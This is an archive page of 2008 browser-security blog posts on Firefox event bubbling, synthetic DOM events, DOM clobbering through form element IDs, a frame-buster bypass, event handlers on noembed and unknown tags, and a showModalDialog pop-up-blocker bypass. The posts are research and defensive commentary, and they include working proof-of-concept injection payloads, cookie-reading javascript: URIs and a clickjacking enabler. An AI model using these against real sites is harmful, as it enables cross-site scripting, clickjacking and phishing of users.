Showing posts with label javascript. Show all posts
Showing posts with label javascript. Show all posts

November 20, 2008

Bubbling, foreign events and Firefox

Intro

One of the major differences of the back then two important browsers was how they handled events. Microsoft worked with the bubbling phase - meaning the event first passes the parent elements and then runs down to the target element. Netscape did it the exact other way - and had the event first hit on the target element and then traverse the whole DOM upwards hitting on the parent nodes - capturing. This caused developers in the early days a lot of trouble and the W3C finally specified an approach where both kind of works and can be used at free will.

The following code illustrates how it works - watch the order the alerts will pop up and tell what element is affected.

<html>
<body>
<ul>
<li onchange="alert(this)">
<form onchange="alert(this)" action="#">
<select onchange="alert(this)">
<option>change me!</option>
<option>yes!</option>
</select>
</form>
</li>
</ul>
</body>
</html>

The interesting thing is that the most current Firefox versions still seem to carry a lot of the older code from back in the days when Mozilla was fresh and behaves extremely strange when coming to bubbling and foreign events

Some more code

Normally a LI element would not work together with an onselect event handler - which is good because if it would Firefox would kind of have to fire a select event as soon a list bullet is being clicked. But during the bubbling phase it actually does. Of course only in Firefox and no other of the tested browsers. The following example demonstrates that.

<html>
<body>
<ul>
<li onselect="alert(this)">
<form onselect="alert(this)" action="#">
<input type="text" onselect="alert(this)" value="select me!" />
</form>
</li>
</ul>

At least this doesn't work for all events - onerror and onload seem to be ignored and don't generate the above described effect. For an attacker that means events can be captured even if a filter would block the injection of matching elements - in case the injectable element can be placed as parent node of the element that handles the event and is meant to be hijacked.

Conclusion

That behavior could be described as a bug - and is not reproducible on any other browser than Firefox and other Gecko based software. Even more irritating is the fact that Firefox seems to have severe difficulties with parsing the page in the right order when bubbling. Let's have a look at the next example.

<html onclick="alert(this)">
<body onclick="alert(this)">
<div onclick="alert(this)"></div>
<div onclick="alert(this)">
<a href="#" onclick="alert(this)" id="test">foo</a>
</div>
</body>
</html>

On some machines the last alert Firefox produces says [object Window] - on others it says [object HTMLBodyElement and not the HTML object as any other browser would do. So as it seems the parser has difficulties parsing the DOM tree during the bubbling phase - which again opens a small attack window in certain scenarios.

The series of articles on events will be continued the next weeks so stay tuned for more.

November 18, 2008

Generating events for fun and profit

Intro

It's not new or strange what this mini article is about - but since I had a hard time googling for it I thought why not writing some words about it. The DOM provides a set of methods to easily create and distribute events. That means you can simulate clicks or other events on arbitrary DOM elements for testing or even exploiting purposes.

Code

Let's have a look at the code that is necessary to generate a regular click in Firefox, Opera Webkit based browsers.

event = document.createEvent("Events");
event.initEvent('click', true, true);

document.dispatchEvent(event);

for(var i in event) {
alert(i + ' - ' + event[i]);
}

See - it's very easy. The MDC also provides some good documentation on methods like document.createEvent or document.dispatchEvent. Unfortunately this code won't work on IE - but there's an alternative using the proprietary method event.fireEvent.

Conclusion

Not much to say here - but what actually is weird is what you can see after iterating and echoing through the generated event object in Gecko based browsers. There's a whole bunch of quasi constants telling which events are available like with the other browsers - plus some extra stuff like TEXT or XFER_DONE. Safari and Chrome provide a property called clipboardData wrapped inside the event object - but it is set to undefined.

It doesn't seem to be be possible for any of the tested browsers to delegate events to off-domain resources - neither for popups, showModalDialog nor iframes.

Interesting is nevertheless that Firefox 3 allows to disable all system hot-keys on a specially crafted site using KeyEvents specified in DOM3. The user can neither save the site with Ctrl-S anymore, nor make a screen shot or turn to full screen. Hot-keys like Alt-F and Ctrl-T are disabled too of course.

<body onkeypress="alert(this.event);return false;"></body>
<script>
event = document.createEvent("KeyEvents");
event.initKeyEvent("keypress", true, true, null, true, false, false, false, 0, 0);
document.dispatchEvent(event);
</script>

Firefox and Webkit based browsers are the only one that support KeyEvents but Firefox is the only one that allows this kind of overriding - not even IE6 is that "cool". Safari 3.2 and the above listed code leads to a strange behavior on most test machines too - the browser skin simply turn black. The following code crashes Firefox 3.0.3 with latest Firebug installed - this combo doesn't seem ready for PopupBlockedEvents.

<script>
  event = document.createEvent("PopupBlockedEvents");
  console.dir(event)
</script>

Events are more than a wide sphere - and worth at least another article about oddities when coming to bubbling and capturing getting published the next days.

November 12, 2008

HTML Form Controls reviewed

Intro

Inspired by a post by John Resig about conflicts between HTML element IDs and DOM properties/JavaScript variables I started to think about related techniques that would lead to security risks or even vulnerabilities. Garrett Smith and Frank Manno also crafted an excellent writeup about this topic and related problems if you prefer a deeper introduction into form controls and unsafe names. And guess who copied this feature from whom?

Some Code

Let's have a short look at what we are talking about here. First we have a bunch of markup - a simple form. Notice the IDs the elements have.

<form id="a">
<input id="b" />
</form>

It's now possible to access the elements directly with window.a and window.b - or just a or b. We can also traverse through a to get b with a.b. The traversal only works for elements which make their child elements accessible via a numeric index - this being basically forms and their input elements. You can do the same with name attributes of images and forms but only in the document scope - we won't touch that aspect here.

But what if the form elements have IDs like location and href? Theoretically they should be accessible via location.href - generating a severe conflict with an already existing and pretty important DOM property.

<form id="location">
<input id="href">
</form>

Opera, Firefox, Gecko and Safari know how to deal with attempts like these. Most of the really interesting DOM properties are protected from being touched via form controls - such as navigator, window, document, location etc. But actually it's possible to overwrite a lot of DOM properties like the following example shows.

<form id="a">
<button id="length">0</button>
<button id="style">1</button>
<button id="id">2</button>
<button id="className">3</button>
<button id="baseURI">4</button>
<button id="textContent">5</button>
<button id="innerHTML">6</button>
<button id="title">7</button>
<button id="elements">8</button>
<button id="method">9</button>
</form>

The element with the ID id can now be accessed via id. Or a.id - since it resides in a's properties too. We can also set variables - for example via var b = id.id - which in this case would be id. The next example tries to be less confusing and shows how window.lang can be overwritten and then have it's vale being executed by a single assignment. There's no reason why someone would write code like that but it works.

<a id="url" href="javascript:alert(1)">
<script>
location=url;
</script>

Conclusion already?

Altogether this thing doesn't seem to be very interesting from a security point of view. The juicy properties can't be overwritten, an attacker has to be able to inject form elements with IDs - most WYSIWYG implementations allow that by the way. What makes the issue even more boring is the fact that if the variable has already been set before the markup is being parsed, it won't get reset by the injected HTML elements.

But - maybe you noticed one important browser missing on the above mentioned list. The Internet Explorer of course. IE6 up to IE8 Beta 2 don't care if properties like location or document shouldn't be set via markup and IDs. So - incredible but true - the following code works perfectly in all tested IE versions.

<form id="document" cookie="foo">
<script>alert(document.cookie)</script>

Or:

<form id="location" href="bar">
<script>alert(location.href)</script>

It's also possible to interfere with really important variables like document.cookie, document.body.innerHTML and almost all others I tested. The technique doesn't depend on doctype or apparently other factors to work. Furthermore you can define own attributes and have their value being accessible via traversal - like in the document.cookie example.

<form id="document">
<select id="body">bar</select>
</form>
<script>
alert(document.body.innerHTML)
</script>

Scripts being used on millions of pages like Google Analytics work with those properties and are usually included right before the closing body tag. Depending on the position where the markup containing the malicious attributes and IDs can be injected it's at least possible to influence the JavaScript application flow or in the worst case execute arbitrary code - nested in the HTML attributes. In case an application allows the user to post inactive HTML it's very important to make sure the submitted and to be rendered elements mustn't contain IDs. In some cases it may make sense to initially set the properties with themselves - and therewith blocking them from being overridden by markup.

November 07, 2008

Frame-Buster-Buster

Intro

Frame buster are great little helpers that make sure hat an applications view can't be framed. There most times a very simple check if self is type equal with top. If this is not the case top.location will be set to self.location. Pretty easy. But what possibilities are there to circumvent this technique?

top!==self?top.location.href=self.location.href:false;

Some code

The only browser that is really easy to trick into executing code disabling frame busters is Chrome - latest release. Since Webkit supports the magic setter methods like __defineSetter__ it's possible to overwrite the location.href setter. Firefox doesn't allow that anymore - but gets tame with the help of event handlers. At least the page can't be left unless the user has confirmed that action at least twice.

<html>
<head>
<script>
  try {
      location.__defineSetter__('href', function() {return false});
  } catch(e) {
      justFalse = function() {
          return false;
      }
      onbeforeunload = justFalse;
      onunload = location.href = location.href;
  }
</script>
</head>
<body>
<iframe src="framed.html"></iframe>
</body>
</html>

Conclusion

IE and Opera have done their job - and this technique can not be used to disable frame busters on framed sites. Thanks to the recently created FUD wave these topics have been resurrected and become interesting again. Reminds of AJAX and JavaScript.

November 06, 2008

NoEmbed - no click?

Intro

Mozilla once implemented an non standard tag for markup to display if there's no appropriate player for the embedded content. Like noframes, noembed and noscript. This conditionally displayed tag is not very well known and doesn't reside on too many blacklists. Nevertheless all browsers but IE treat this element as a DIV or even HTML tag and display it when outfitted with styles. Same for noframes - might well be the usually wrong DTD - but at least not for noscript.

Code

Here's an example of artificially bloated noembed and noframes tags.

<html>
<head>
<style>
 #noframes, #noembed {
     background: red;
     display: block;
     color: red;
     margin: 10px;
 }
</style>
</head>
<body>
 <noframes id="noframes" onclick="alert(this)">
     X
 </noframes>
 <noembed id="noembed" onclick="eval(this.innerHTML)">
     alert(this)
 </noembed>
</body>
</html>

On the other hand it's not really surprising. Most browsers handle unknown tags like inline elements or in case of Firefox HTMLUnknownElement. This means one can bind most interaction dependent event, create huge overlays via in-line styles etc.

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
</head>
<body>
 <do_what_now onclick="eval(this.innerHTML)">alert(this)</do_what_now>
</body>
</html>

Noframes and noembed are of course no unknown tags by the way. The WASC Script Mapping Project claims there are no event handlers for these tags available but the code examples prove this faulty. No offense though - this tool is still a very useful and valuable resource.

Conclusion

Not much to say. The only two browsers behaving reasonably are Opera and most versions of IE. Webkit and Chrome are way too tolerant again. At least the before mentioned examples prove - as well as the following - that blacklists for HTML filtering are useless due to the fact that most browsers don't use a white-list before rendering. But let's not be too harsh - none of the tested browsers rendered an IFrame wrapped in noscript or even noframes.

<y? style = "
      top:10px;
      width:99%;
      height:99%;
      position:absolute;
      background:red;
      display:block;
  "
  onmouseover = "with(this.style)display='none'"
  onmouseout  = "with(this.style)display='block',background='white'">
&nbsp;
</y?>

November 05, 2008

ShowModalDialog() and Firefox

Intro

Firefox has been "reverse engineering" a lot of features Internet Explorer ventured to release past the W3C specifications - including the already mentioned oncopy/oncut/onpaste events. A very special one of those is the implementation of showModalDialog(). Imagine this feature to be like an alert - but only filled with arbitrary HTML via a URL, dataURI or javascript: URI.

Code

<html>
<head>
<script>
onfocus = function() {
 name = 'javascript:with(this)with(document)write(cookie)';
 showModalDialog(
     name,
     null,
     'unadorned:no,dialogWidth:4000%,dialogHeight:2000%,scroll:0,status:0,resizable:0,edge:sunken'
 );
 onfocus = null;
}
</script>
</head>
<body>
</body>
</html>

Interesting is on the one hand that it's possible to circumvent the pop-up blockers in most recent browser releases by just choosing window.onfocus as triggering event. Firefox 3 shows a warning on the originating view that a pop up has been blocked - but renders the modal window anyway. If triggered early enough it also outruns a window.onload. Onfocus seems to be considered as an event that has to be triggered by user interaction so the pop up blocker lets it pass - like with onclick or ondblclick. And not to forget - onfocus on window fires as soon as the window's document is starting to load.

The major problem is the fact that the showModalDialog() method is either a member of window and can be parametrized. It's therefore possible to let a GUI element pop up that might give the user the impression that it's a browser instance itself. Just add most common browser buttons as image map - depending on the used user agent, give the window the right dimensions and position and most users will fall for it.

Furthermore the dialog being spawned cancels all code execution happening between the time of the spawning and the moment the modal is being closed again. The browser can access the origination window object as well as methods like dump().

Conclusion

ShowModalDialog() is one of the more or less useless and standard agnostic techniques that is predestined for fishing without even a real world use for most if not all applications. Security aware developers might want to make sure by overwriting this method that an XSS on their platform has less impact than necessary. Thanks to the flexibility of JavaScript it's more easy then expected - just set showModalDialog = null at the earliest point in your DOM that is possible - most perfectly at a spot where no user input is being expected before. Safari and Opera are by the way not affected - they just ignore the method call or throw an error since it's not implemented.